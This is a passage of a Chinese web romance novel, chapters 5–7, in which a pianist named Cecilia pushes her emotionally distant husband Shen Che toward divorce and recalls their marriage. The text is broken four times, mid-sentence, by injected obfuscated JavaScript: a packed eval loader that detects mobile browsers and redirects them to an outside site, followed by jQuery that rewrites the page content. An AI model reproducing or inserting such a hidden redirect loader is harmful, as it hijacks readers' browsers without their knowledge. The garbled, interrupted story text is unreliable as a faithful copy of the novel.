后来贺羡棠才知道,一切都是Tina准备的。 她和沈澈结婚五年,Tina比沈澈更清楚她喜欢什么花,喜欢什么礼物,喜欢吃什么,又讨厌什么。 假手于人的婚姻,在第五年,贺羡棠终于受够了。 吃完饭,贺羡棠让绣姐把垃圾丢掉,上楼换了身衣服,黑色v领背心搭军绿色工装裤,清爽又舒适。 昨夜下过雨,今早天已经晴了,青石板路上看不见水痕,但泥土依旧湿润松软。贺羡棠拎上花器,去前院折腾她的花木。 这些工作有专业的园艺师去做,贺羡棠没事时,也喜欢亲自动手。 墙角的月季是春天栽种的,郁郁葱葱一大片,秋天也能开花,只是雨后容易得黑斑病。贺羡棠仔细地喷杀菌药。 她时间充裕,做事认真,每片叶子的背面都顾及到了。 上面处理的差不多,贺羡棠蹲下,照顾靠下的叶片,看见地上一条快被晒干的蚯蚓,小心翼翼地拿小花铲送回土里,听见车子的引擎声也没抬头。 林佳落下车窗:“贺小姐。” 贺羡棠说:“别让你的汽车尾气喷到我的花上。” 林佳不屑一顾:“又没开花。” “停进车库,我去客厅等你。”贺羡棠起身,眼前一黑,见林佳摇上车窗,徐徐开走了。她慢悠悠地往客厅走,路过一株海棠树时抬头看了几眼。 香港四季如春,气温最低的时候不过个位数,远达不到让海棠开花的条件。这棵树种在这里,普通平庸到让人懒得注目。 浅黄褐色的双人座沙发,林佳一落座,顺口问了句:“换沙发了?” “配货。”贺羡棠问她,“茶还是咖啡?” “都行。”林佳是来谈公事的,不拘喝什么。绣姐端上来一杯意式,她抿了一口就放在一边,从包里拿出厚厚一沓文件,“离婚协议书,帮你拟好了,你看看还有什么需要修改的。有几条我先同你讲一下,主要是财产方面……” 对于贺羡棠和沈澈这样的人来说,离婚是件很繁琐的事情,只财产分割一条,就足够律师们掉光头发。 贺羡棠听林佳讲了半个小时,她对于大部分内容都没有异议,也信任林佳。她们的婚前财产协议就是林佳负责拟定的。 贺羡棠说:“先把这份放在这儿吧,我晚上和沈澈商量一下。” “行。”林佳一口闷掉大半杯咖啡,“那我先走了,有问题随时call我。” 快十一点了,贺羡棠客气道:“中午一起吃饭吧。” “不了,还有工作。” 贺羡棠没再说什么,让绣姐送她出去。 她拿着离婚协议书翻了翻,给沈澈发消息:“晚上什么时候回来?我们谈谈离婚的事情。” 沈澈没回复。贺羡棠已经习惯了,去做自己的事。 大概一个多小时后,贺羡棠才收到回复。 十分简单的四个字: “和律师谈。” 看的贺羡棠气不打一处来,把协议书摔到餐桌上。 晚上沈澈难得没加班。回家时六点钟,天边染着大片紫色晚霞,飞鸟一掠而过,惊起一阵扑簌簌的声音,叶片摇动,很快重归安静。 迈巴赫驶进前院,绣姐听见声音,从餐厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542960|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玻璃往外看了一眼,抱着个很大的橙色袋子走出来,站在廊下。 沈澈只扫了一眼,大概明白发生什么事:“她打开看了吗?” 绣姐摇摇头。 夫妻俩关系从来和睦,怎么忽然就闹到要离婚的地步? 绣姐不解:“沈董,夫人最近可能只是心情唔好……” 沈澈说:“给你就收着吧。晚餐做好了吗?叫cici来吃饭。” 其实结婚这五年里,沈澈工作很忙,很少有机会在家吃晚餐,如果没有应酬,多数时候是在公司里随便应付两口,而贺羡棠因为工作原因,也要经常要全世界到处飞。 细细数来,他们连共进晚餐都要提前约对方的时间。 贺羡棠下午在琴房练琴,听见绣姐叫她去吃饭,嘴上应着,还是等弹完一曲才起身,下楼时看见沈澈正在翻离婚协议书。 贺羡棠在他对面坐下,公事公办的语气:“今天林佳送过来的,你看看,有什么不满意的地方我让她改。” 沈澈随手放在一旁,勾唇笑了下,像是在笑她幼稚,拿离婚当儿戏。 贺羡棠瞪他。 他也抬眸看向贺羡棠。 沉默几秒,沈澈问:“为什么想离婚?” “没有为什么。” 贺羡棠只是很累。 成婚五年,失落、绝望、死心,说不清的百转千回,掺杂着一点意料之中,最终变成一种很直白的感受——累。 刚结婚时,贺羡棠从没想过,支撑一段没有感情的婚姻会这么累。沈澈其实很好,对她温柔体贴,尊敬爱护,只是那种好就像隔着一层毛玻璃一样,看着疏远,摸上去也冰凉凉的。沈澈一切一切的好里,为了沈贺两家,为了集团公务,为了经营婚姻,却从来不是为了贺羡棠。 贺羡棠劝过自己,至高至明日月,至亲至疏夫妻。 可自己骗自己是很难的。偶尔一个人独处,那些疲倦不堪就像回南天里潮湿的水汽,无孔不入。 这些复杂的心路历程告诉沈澈也没什么用,因为他就是要这样省事的婚姻。贺羡棠抿下唇,像下定某种决心般说:“总之我要离婚。” 随即她意识到,这话像是无理取闹。 贺羡棠又说:“而且……” 预料到她要说什么,沈澈解释:“叶微是周聿安女友。那天下雨,周聿安的车坏在半路上,拜托我顺路去帮他接人。这事发生在你向我提离婚之后,理由不成立,换一个。” 贺羡棠张了下嘴,顿时心情很复杂,连离婚的事也没心思想了。 沈澈没有在他们离婚前就找新女朋友,这是好事。 可……如果叶微是周聿安女友,那她那天说的那些话是不是太过分了? 真要命。 贺羡棠呆呆地回想着那天的情形,尴尬到无以复加,筷子伸向一条清蒸鱼,夹到了姜丝也没注意,送进嘴里才反应过来,皱着眉毛四处张望,找垃圾桶。 沈澈不知什么时候走到她身边,投下一片阴影,清冷的雪松香铺天盖地,淡,又让人无法忽视,把贺羡棠整个人都包裹在里面。 沈澈伸手捏着她下巴:“吐了。” 贺羡棠对姜轻微过敏,放在菜里调味可以,吃进去不行。 贺羡棠瞥见沈澈伸出手心,没理,抽了张纸吐掉。 有几秒钟死一样的寂静,然后她听见沈澈说:“cecilia,想离婚就要拿出令人信服的理由。” 5. 第 5 章 贺羡棠能给他什么理由?她上楼,把自己摔在床上,盯着天花板愣神。 是什么时候冒出离婚这个念头的?贺羡棠自己也记不清了。 订婚前夕,她回国一次,在双方长辈的授意下订下婚期,而后又返回美国,筹备自己的独立音乐会,结束这项工作后,她就会回香港久居。那时她很忙,又与大洋彼岸的港岛隔着12个小时的时差,所有常常好几天也和沈澈说不上一句话。 但那时风是轻盈的自在的,只要一想到越来越近的婚期和即将与自己喜欢的人结婚这件事,冬令时萧瑟的纽约都平添了几分风采。 那是贺羡棠待在纽约的第三个年头,是一个漫长严肃也蕴藏生机的冬季。她像一只小精灵,步履轻快,在SOHO逛街,买一些回国带给大家的礼物,裹紧羊绒大衣和围巾,藏身曼哈顿汹涌的人潮之中,默数着倒计时。 音乐会前,贺羡棠给沈澈送去邀请函,说不上期望,不过那是她的第一场个人音乐会,所以她希望沈澈能到场,而且他当时恰好在纽约出差。 八点,音乐会开场的时间,贺羡棠悄悄望台下,找不到那张熟悉的面孔。 一些小小的失落油然而生,自我安慰他可能是在忙。刚上任远南集团执行董事的第一年,自然会忙的不可开交。 调整心情,上台。 开场曲是一首巴赫,弹完贺羡棠才发现,沈澈不知什么时候过来,坐在第一排她为他预留的位置,笑意盈盈地注视着她。 四目相对,一瞬间,贺羡棠心跳错拍,不自然地移开目光,看着黑白琴键。 她庆幸,方才演奏时没看见他,否则要弹错音。 两个小时的音乐会,以巴赫开始,以肖邦第一钢琴协奏曲第二乐章结束,最后一个和弦落下,藏着她的私心。 这是一首很适合表白的钢琴曲。 起身,鞠躬,退场,完美的落幕。到后台,几乎是很匆忙地卸妆换衣服,披上围巾就往外跑,无视休息室里一片和善的打趣笑声。 沈澈安静等在外面,站在灯下,灯光洒了一身,勾勒出他修长身量,如一支竹。贺羡棠扑过去,像一只鸟,朝着她的巢飞去。 “我以为你不来。” 沈澈抬手帮她系好围巾,淡声说:“答应过你。” 很显然他没做过这种活,围巾系太紧,贺羡棠费力解开一点,长长地吸一口气,想抱怨他,结果抬头就看见有什么亮晶晶的东西飘下来。 “下雪了!”贺羡棠拽着他袖子说,“下雪了哎!” 她在香港没有见过雪天,待在国外,每逢雪季,还是像个没见过世面的小孩儿。 沈澈看着被攥皱的衣袖,语气中有几分无奈:“快上车吧。” 贺羡棠突发奇想:“你陪我走走吧?” 沈澈那时还会答应她这些稀奇古怪的请求,到车上拿一把黑色长柄伞,撑开,贺羡棠挨着他,两人穿过林肯中心,大都会歌剧院亮着灯,金碧辉煌。 雪下的又紧又密,落在沈澈发间。那时贺羡棠以为,他们也能共白头。 婚后第一年,聚少离多。沈澈时常加班,贺羡棠与香港一家颇负盛名的交响乐团达成长期合作,举办音乐会。 那一年她的足迹踏遍二十多个国家和地区,那一年贺羡棠发现,她和沈澈的关系其实没有任何实质性的进步。 结婚的第二年,贺羡棠开始减少办音乐会的频次,尽可能多待在家里。一年岁尽,春节将至,贺羡棠自米兰回国,因沈澈在首都出差,便先飞北京,等他公务结束,一同回香港。 谁知一下飞机就遇见咸猪手,贺羡棠下意识一脚踹过去,忘了自己从小就练过武。 于是一脚把两人踹进了派出所。 临近年关,沈澈还要抽出时间去捞人。 派出所惨白的墙上贴着两行蓝色大字,贺羡棠来来回回看了十几遍,被白炽灯照的头晕眼花。 不知道几点,对面那位胖大叔在第八遍强调要去医院“做检查,做全套检查”的时候,门“吱呀”一声开了,送进来一阵凛冽的寒风。 沈澈英俊的眉目上覆着一层霜雪。贺羡棠眨巴眨巴眼瞅瞅他,乖巧地低下头装鹌鹑。 他后面跟着一个穿行政夹克白衬衫的中年男人,干巴巴笑了两声:“沈太太真是……真是能文能武哈。” 贺羡棠没忍住,破功,笑的肩膀抖了几下:“哪里哪里。” 沈澈沉声问:“夸你呢?” 贺羡棠不笑了,闭着嘴摇摇头。 事情最后以沈澈支付一笔超额的医药费和精神损失费,双方和解告终。贺羡棠很不高兴,小尾巴似地跟在沈澈身后,上了车才表达不满:“明明是他……为什么要我们赔钱?” “因为你打人了。”沈澈打开笔电。 “是他先动手动脚的,况且我其实没用力,他人还好好的。”贺羡棠抱着一种很朴素的价值观说,“他应该被拘留!” “cecilia。”沈澈叫她名字,声音中不自觉带上开会时训话的威压,“今天下午的新闻是我花钱撤掉的。你现在是沈太太,不是在纽约可以随心所欲的音乐生,你的举动不仅代表你自己,还关系着远南集团的形象。以后做事情,先想想自己的身份。” 贺羡棠嘴唇无声地翕动,忽然觉得脸上很烫。 沈澈第一次用很严肃的语气和她说:“棠棠,如果你不能承担起沈太太的责任,那么我们就不该结婚。” “责任”。贺羡棠第一次意识到这个词在他们婚姻中的份量。她之于沈澈,是责任,而非妻子。 贺羡棠很缓慢地消化这件事,讷讷说:“我知道了。” 在北京待了几日,没遇上雪天,便回香港了。 春节前的一段时间里,贺羡棠一直在思考作为沈太太的责任应该是什么,她有些想不明白,同时认为自己做的已经足够好。林樾和贺齐此前从未要求她对什么负责过,沈澈也不能要求她像被设置好程序的机器人一样面面俱到。 贺羡棠开诚布公地和沈澈交谈,沈澈表示理解。于是这事就这么翻篇了。春节假期的前一天,沈澈作为执行董事,在集团大会上发表新年致辞。 贺羡棠去花市买花,路过公司楼下,想起沈澈今天应该很忙,便顺路去给他送一份午餐。 执行董事办公室占据这栋大厦的一整层。上楼时,沈澈正在亲自给秘书办的员工派利是。 “有没有我的?” 沈澈就顺手抽了一封给她。 众人见老板娘来了,心照不宣地作鸟兽状散。贺羡棠挽着沈澈的胳膊到会客的沙发上坐:“我怕你中午没时间去吃午餐。绣姐煲了鸡汤,你尝尝吧?” “嗯。” 沈澈没动作,贺羡棠眨着眼瞅他,他才无奈似地叹口气:“挂在我身上我怎么吃?” “哦。”贺羡棠条件反射般松开手。 沈澈问:“你吃不吃?” “我吃过了。”贺羡棠托着腮看他吃,听他说一句好吃才放心,问,“你是不是也放假?” 这次的春节假期正好是周三到周五,接上周末两天,一共五天。 “想做什么?” 贺羡棠眼睛亮晶晶的:“想去北海道看雪!” 她的工作时间原本就很灵活,春节前后没有安排音乐会,因此假期很长,大约到三月才会正式开始工作。 二月份,北海道最适合看雪的季节。 沈澈问:“五天够吗?” 贺羡棠抿着唇不说话,眼睛依旧一闪一闪的,像是在期待什么。 五天显然不够,即使岛国就在隔壁,往返航班也需要花掉两天,剩下的时间还不够贺羡棠在酒店睡大觉的。 年末年初公司里没什么大事,沈澈淡声说:“七天,不能更多。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542961|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺羡棠凑过去,在他脸上“吧唧”亲了一口。 沈澈伸出去的筷子就那么停在半空,侧过头,有些疑惑地看贺羡棠。 她脸颊和耳朵都蒙着层薄薄的粉,眼睛亮的像有颗启明星掉进去。 还挺可爱。 贺羡棠又“吧唧”一口。 沈澈愣了下,有些不自然地推开她:“这是办公室。” 他骨子里是个古板的人。 “哦。” 贺羡棠乖巧地坐好,双手都规规矩矩地放在膝盖上。 雪季的北海道,除了看雪,就是看雪、看雪和看雪。 贺羡棠仿佛看不够。 旅程安排的很悠闲,没有刻意去什么景点。她把自己裹的像只企鹅,漫无目的地逛,在商店买些工艺品,或者去便利店吃泡面。 沈澈不吃,但会等她,然后在走出便利店的时候,牵着她的手放进大衣口袋里。 那是少有的像一对真正的夫妻一样的时光。 在北海道的第四天,旅途辛劳,贺羡棠睡的很早,大约十一二点钟,她迷迷糊糊地醒过来找水喝,看见沈澈站在院子里打电话。 日式庭院,枯山水的设计,砂岩石铺就的地面和奇形怪状的石头上都堆着厚厚的雪,看不出原貌,沈澈站在廊下,长身玉立,一点暖黄的灯落在他肩头,背影有几分落拓。 贺羡棠披上大衣踩着棉拖,刚推开门,听见随着寒风传来的声音—— “过几天回去。” “我又不喜欢她,有什么感觉?” 风卷起一层积雪,扑在贺羡棠脸上,她愣了几秒钟,默默转身回去睡觉,装听不见。 婚后第三年年初,贺羡棠过的不开心。她从来没有喜欢什么却得不到的经历,沈澈真的很难搞。 Mia教她,喜欢一个人就要勇敢争取,她终于开始从暗恋转为实际行动,洗手调羹,嘘寒问暖,像只小蜜蜂一样每天在沈澈耳边嗡嗡响。 五月,樱花开完了,杜鹃败了,紫荆花和鱼木花也在一夜之间落下,万物欣欣向荣,浓绿的枝叶疯涨。暮春时节,沈澈的生日到了。 贺羡棠准备给他过一个永生难忘的生日,她专门带沈澈回到她十几岁时被绑架的山里度假,包下酒店餐厅精心布置,亲手做了蛋糕,还请了一众亲友见证——贺少川、贺舒、Mia、周聿安还有赵珩他们。 贺羡棠要在他生日当晚,向他吐露心意。请朋友来也藏着私心,就算沈澈不喜欢她,看在有外人在场的份上,也不会让她难堪吧? 日头一天比一天长。晚上七点多,天彻底黑下来。餐厅里灯火通明,钢琴曲优雅飘逸,粉白色的玫瑰搭成鲜花瀑布,活脱脱一个表白现场。 贺羡棠端着她亲手做的蛋糕站在沈澈面前,蛋糕上的蜡烛点燃了,烛光映在她眼底,两簇跳跃的小火苗。 “你还记得吗,这是我当初被绑架,你来救我的地方。你可能不知道,其实那时候我就喜欢你了,我去美国读大学,也是为了你。我想离你更近一点。”贺羡棠垂着眸不敢看他,声音很轻很慢,耳垂染上一层薄粉,“妈问我愿不愿意和你结婚的时候,我很高兴。沈澈,这么多年,我……好喜欢好喜欢你。” Mia带头起哄鼓掌,沈澈沉默了。 贺羡棠能听见自己的心跳声,抬眸看他,撞进一双很冷冰冰的眼睛里。 “cici,”沈澈说,“不要这么幼稚。” 一股寒气从脚底蹿到天灵盖。有人拿着把锤子敲她的心脏,“咚”的一声,贺羡棠只觉得手很凉脸很烫,她难过的快要哭了。 那次她哭了三天。 类似的被拒绝、得不到回应、满心欢喜却只能换来失落的事情数不胜数。贺羡棠掰着手指头,这是第五年,她早就对沈澈死心了,她决心要结束这段婚姻——这段让她内耗、绝望、失去自我围着一个男人转的婚姻。 6. 第 6 章 那晚不欢而散后,沈澈就去纽约出差了,归期未定。 香港的天气忽雨忽晴,贺羡棠挑了一个晴天的下午,带上伞,去见叶微。 台风天后,山上断掉的树枝已经清理干净了,路上见不到台风经过的痕迹。下午四点,贺羡棠从太平山别墅出发,乘车走私家车道,至中环不过十几分钟。 车子停在一家甜品店前,贺羡棠走近店内,叶微已经等在靠窗的位置上了。 “叶小姐。”贺羡棠放下包,同她打招呼。 叶微叫她:“沈太。” “不用这么客气,”贺羡棠说,“你叫我cici就好了。” 贺羡棠一直不喜欢这个称呼,把她叫的太老气。不过很快也不会再有人这么称呼她了。 “好。”叶微笑了下,“cici。” 贺羡棠还在做心理准备,决定先铺垫一下,把菜单推给叶微,笑的露八颗牙齿,装乖:“这家店的舒芙蕾很好吃,你可以试试。” “啊,好。”叶微垂着眸,视线落在菜单上,目光恍惚,眉心微蹙,像是不自在。 谁和一个前几天刚刚警告过不要出现在她面前的人面对面坐下都会不自在! 想到那天的对话,贺羡棠就头皮发麻。无奈,她主动开口:“还是我来点吧。” 与此同时叶微也试探着开口了:“cici……” 两人同时一愣,又异口同声道:“您先说。” 又没人说话了,都在等对方先开口。 贺羡棠深吸一口气:“我来点单吧,这家的甜品都还不错。你要喝茶吗?玫瑰还是大吉岭?” 叶微说:“都行,都行。” “那就玫瑰吧。”贺羡棠又点了些吃的,等侍应生走了,心理准备也差不多做好了,直入主题,“叶小姐,其实,我今天是来……” 贺羡棠觉得不好意思,声音放轻:“是来向你道歉的。” 叶微像没听清似的:“啊?!” “对不起。我那天……”贺羡棠很谨慎地想着措辞,因此语速也慢,“以为你和沈澈——也就是我先生……” 虽然不知道为什么要特地解释自己和沈澈的关系,但已经这么说了,贺羡棠一顿,也只好继续说下去:“我以为你们两个是……那种关系。所以那天我对你态度很不好,唔好意思,我不是故意的。” “害!就这事啊?”叶微肩膀一垮,靠在沙发里,整个人姿态瞬间放松下来,“没关系啦,这点小事情,你不要放在心上!不过……沈董之前没告诉你吗?” 话一出口,叶微睨着贺羡棠的神色,见她脸上的笑意卡了一下,像是有片刻晃神,随即恢复如初。 叶微立刻意识到说错话,端起茶杯,生硬地把话题往别的方向扯:“这茶挺好喝的。” 遇见同好,贺羡棠眼睛亮晶晶的:“这家大吉岭茶也不错,你下次可以试试。” “好啊!”叶微拿出手机点了两下,“我们加个联系方式吧?其实那天我就想加,没找到机会。你当时能看出来吗?我超想和你交朋友!” 很少见这么直白的人,贺羡棠笑了下,问:“为什么?” “你能帮我盯着点周聿安喽,有什么风吹草动的给我报报信。”叶微一耸肩,“我最不放心他了,成天招蜂引蝶。” 贺羡棠想了下:“安仔还是挺让人放心的。” 虽然他女朋友换的快,但出手大方,也从来不出轨,都是断的干干净净再找下一个。 更重要的是,他自称对每一任女朋友都是真爱。 / 从甜品店离开,已经五点多了。 时间还来得及,贺羡棠吩咐司机:“去东区。” 她接着报了一个小区的名字,然后给房产中介发消息说十五分钟后过去看房。 中介秒回。 贺羡棠扫了一眼,收起手机,仰头靠在座椅上,闭目养神。 她要从山顶别墅搬出去。 贺羡棠暂时不想让父母知道离婚的事情,所以她不能搬去婚前常住的那套房子,只好暂时另外买一套。 香港就那么大点地方,只要不堵车,从哪到哪都很快。中介已经等在楼下,是个三十多岁的中年男人,穿西装,拎公文包,殷勤地帮贺羡棠开车门:“贺小姐,下午好。” 贺羡棠问:“临时约你来看房,没有打扰到你吧?” “当然没有!”中介说,“您说这话就太见外了,这就是我的工作啊!” 贺羡棠笑笑,随他走进电梯。 中介按了顶层,17楼,不高不低。 等待电梯上升的空隙里,中介向她简单介绍:“咱们今天看的这套房子是顶层复式,一层的居住面积是2253尺,二层是天台,开开party养养花什么的都行。私密性您放心,都是专梯专户,小区也配备物业管家,有什么事您联系管家就行,很方便。” 电梯门开,直达客厅,入目是几扇落地窗,视野开阔,能清晰地看到维港风光。窗外风光太亮眼,贺羡棠看了好几眼,才收回目光,环视整套房子的装修。 很简约的风格,温润的实木地板,大概是因为要出售,就没做过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542962|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的装饰,她搬进来后可以根据自己的喜好添置东西。 “这套房子最大的特点就是位置,面向维港,离中环、铜锣湾、跑马地都很近。您看这还有个露台……”中介推开门,提醒她,“小心脚下,这有台阶。” 日落时分,维港上波光粼粼,旁边是海滨长廊,车流不息。 中介忍不住感慨:“风景真是太漂亮了!” 贺羡棠点了下头。 朝向,位置,视野都不错,装修她也喜欢。 中介又带她看剩下的几间房。 次卧改成钢琴房,做了隔音,贺羡棠摸着墙壁上贴的吸音板,眼睛亮了亮:“隔音效果好吗?” “保证外面一点声音都听不到。” 贺羡棠说:“那就这套,明天我让人来同你签合同。” 接下来的几天,贺羡棠都在忙搬家的事情。她给沈澈发了一条消息,算通知。 狗男人没回复,贺羡棠就当他们已经达成共识了。 周五下午,她正式准备搬出去。 东西太多,她请的搬家公司派了十几个员工来。贺羡棠在卧室收拾一些零碎的东西,她常戴的首饰、香水、乒铃乓啷一篮子护肤品。 绣姐拿着一只花瓶问她:“cici,这个要带走吗?” 是月亮罐,雾蒙蒙的粉蓝色,绘仙鹤图,是去年过生日时沈澈送的,或者说是,Tina送的。 Tina来送这只花瓶时说,这是沈董亲自去挑的。 贺羡棠不信,但当时已经无所谓了。她喜欢养鲜切花,这个礼物送的很合她心意,她一直用来养大花惠兰。 “留下吧。”贺羡棠摸了下瓶身上的图案,确实很别致,这些年也没再遇到这么漂亮的了。 绣姐便放回原位。 她欲言又止,几次张开嘴,最终开始什么都没说。贺羡棠也没问。 梳妆桌上的东西收拾的差不多,贺羡棠去客厅,看工人搬东西。 “这个箱子小心点,里面有一些易碎品。” “那个记得放在最上面。” “这些不搬。” 贺羡棠侧身靠在墙上,开始还偶尔提醒两句,后面就抬头盯着水晶吊灯愣神。 住了五年的房子,居然真的要搬出去了。 穿蓝色制服的工人进进出出,脚步声杂乱,贺羡棠没注意,多了一道脚步。 男人拾阶而上,穿过连廊,走进客厅,伸手拦住与他擦肩而过的一名工人,食指关节在大纸箱子上敲了敲,冷声问:“cecilia,谁准你搬走的?” 7. 第 7 章 最近这段时间,贺羡棠在沈澈口中听到“cecilia”的频率明显上升。 而沈澈只有在很认真严肃的情况下,才会叫贺羡棠“cecilia”。 贺羡棠正色道:“我通知过你,并且你没有回复我。” 她咬字缓慢,把重音放在“通知”两个字上,试图提醒沈澈——她搬出去是通知,不是商量。 沈澈扬了扬眉:“我没回复的意思就是,我不同意。” 他说的也很慢,“我不同意”四个字,一字一顿。 像是根本听不懂贺羡棠的意思。 贺羡棠被他的流氓逻辑震惊到了,好半晌说不出话来:“你,你……” 她深呼吸几次,拿出钥匙给他看:“我已经买好房了。” “我们还没离婚。”沈澈让工人暂时把纸箱放下,好整以暇地拆开看了看,这一箱是衣服。贺羡棠去年特地飞去巴黎买的高定,居然就这么收在纸箱里,可见确实是着急搬走,连东西都没来得及收拾妥帖。 贺羡棠强调:“我们马上就要离婚了。” 沈澈指挥工人把东西搬回去,漫不经心地问:“你还记得我们婚前约法三章过吗?” 贺羡棠愣了一下。 婚前他们约定过,不干涉彼此的生活、对婚姻保持忠诚,以及……尽好联姻的责任。 沈贺两家的联姻,虽然婚礼不接受任何记者到访,但自开始的那一天起,就暴露在闪光灯下。 这些年他们出去吃饭,有时还会被拍。 远南集团执行董事兼继承人的婚姻如果出现实质性的变故,对于集团形象和股价来说都不是个好消息。 这件事情,必须找一个合适的时机,缓慢落地,而且还要表现出两人“离婚后仍是朋友”的态度。 “我们还没离婚,意味着你依旧是沈太太。如果被人知道我们分居……”沈澈从贺羡棠手心里抽走钥匙,意味深长地看她一眼,“是不是不太好?” 贺羡棠警惕地盯着沈澈,评估他这段话的可信程度。 沈澈将钥匙放在一旁的矮柜上,看见上面还有湿巾,顺手抽了一张,不紧不慢地擦手指:“下周是妈的生日,我们还要一起过去。” 这声“妈”自然指的是贺羡棠母亲——林樾。 贺羡棠脑海中“怦”的一声,像一只气球被针戳破。 她很不高兴。 可人在屋檐下,不得不低头。如果沈澈不陪她去给林樾过生日,那她要离婚的事情肯定是瞒不住了。 贺羡棠咬着下唇,默默吃下这个亏,看也没看沈澈,抓起钥匙“噔噔噔”跑上楼,回到主卧,看见四处空落落的,连花瓶里都空了,更生气了。 贺羡棠打电话叫人送一批鲜切花来。 常年给沈宅送花的花店,花材丰富,品质高,半个小时就把两大扎鲜切花送来。贺羡棠让绣姐把客厅的长桌清理干净,铺上一层玻璃纸,在上面处理鲜花。 十几种花材,有些需要醒花,有些不需要。贺羡棠先把要醒的花处理了,从玫瑰开始,戴上手套打刺去叶。 沈澈不知为何没去书房,抱着笔电坐在沙发上,背对着贺羡棠看邮件。 贺羡棠看见他的背影,心里很不痛快,动作比平时粗鲁很多,打刺钳划过花杆,一阵嘈杂的“咔擦咔擦”的声音。 实在太吵,沈澈偶尔回头,结果看见她噼里啪啦地扇一朵玫瑰花花头,怎么看都觉得动作间充满了泄愤意味,扇的不像是花,像是他。 经验之谈,贺羡棠生气的时候不能凑上去,她自己会把自己哄好。 沈澈于是装作听不见,由着她吵。 深水醒花,需要四五个小时。贺羡棠处理完所有的鲜花,分门别类放进醒花桶里后,天已经彻底黑了。 她靠着长桌,看自己的劳动成果,十分满意。 沉浸在一件事情里会让人的心情逐渐平复下来。贺羡棠已经不生气了,早搬晚搬都要搬,等正式离婚后再搬也没什么,正好可以给她充足的时间为新家选些装饰的小物件。 挂画、地毯、绿植……窗帘也可以换。 贺羡棠越想越高兴。 她拍拍手,脱下手套,顿时倒吸一口冷气。 摘手套时不知道蹭到哪,有点疼。贺羡棠托着手心检查,发现有几道小伤口。 虽然处理鲜花时戴了手套,可有些尖刺还是难免会刺破那层薄薄的面料。刚才全身心地投入到手中的活里,没感觉到疼,这会儿一闲下来,伤口的存在感就明显很多了,一阵阵地刺痛。 贺羡棠自己没太在意,觉得不用管。沈澈却忽然问她“怎么了”,走过来抓起她的手检查。 只是比较浅的小伤口,沈澈紧蹙的眉毛慢慢松开,让绣姐拿消毒棉球和创可贴过来。 “没事。”贺羡棠抽回手腕。 “还是消下毒吧。”沈澈用小镊子夹起棉球,小心地贴在贺羡棠的伤口上。 疼。贺羡棠想动不敢动,垂着眸看沈澈的手。 他的手很漂亮,五指修长,骨节分明,很适合弹钢琴。他也会弹,不过好像对这个没什么兴趣,总之贺羡棠没见他弹过。 四下寂静无声,容易让人胡思乱想。 贺羡棠看看沈澈无名指上的婚戒,又看看他专注的神色。有一瞬间,贺羡棠开始怀疑沈澈爱上她了。 毕竟按照沈澈的作风,他应该不咸不淡地扫一眼,然后让绣姐或者医生来帮她消毒。 消完毒,沈澈说:“下次让花店处理好再送来。” 贺羡棠撇撇嘴。 果然是她自作多情。五年了,家里每天每个房间都有鲜花,且大部分都是她自己处理的,可沈澈还是连自己喜欢做这个都不知道。 “我挺喜欢这个的。”贺羡棠这次绝不内耗,问他,“你不知道吗?” 沈澈神色淡淡,随口说:“我以为你是为了发泄。” 其实这么说也没错…… 贺羡棠揪下一片花瓣捏着玩,没反驳。 沈澈问:“发泄完了吗?” 原本发泄完了,但他一提,贺羡棠还是有点小生气,水灵灵的眼珠一转,决定这个亏不能白吃:“还行吧。不过我中意过几天克里斯汀秋拍会上那颗压轴的钻石。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542963|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈澈勾了下唇角:“我让Tina去拍。” 宰他一笔,贺羡棠心情大好,所有的怒火都烟消云散了。 她忍住没笑,矜持地点点头,说要去洗手,转过身的瞬间,开始小声地哼歌。 晚餐时,贺羡棠想再和沈澈谈谈离婚的事情,最好能确定一个准确的时间。走完离婚程序还需要很久,他们继续这么拖下去不是件好事。 一份海鲜意面,贺羡棠挑着把龙虾尾吃完了,剩下的面条不想吃,开始往嘴里一个个丢蓝莓,蓝莓也吃的差不多了,贺羡棠才开口:“沈澈,我们什么时候去离婚?” 沈澈似乎是愣了一次,放下筷子。 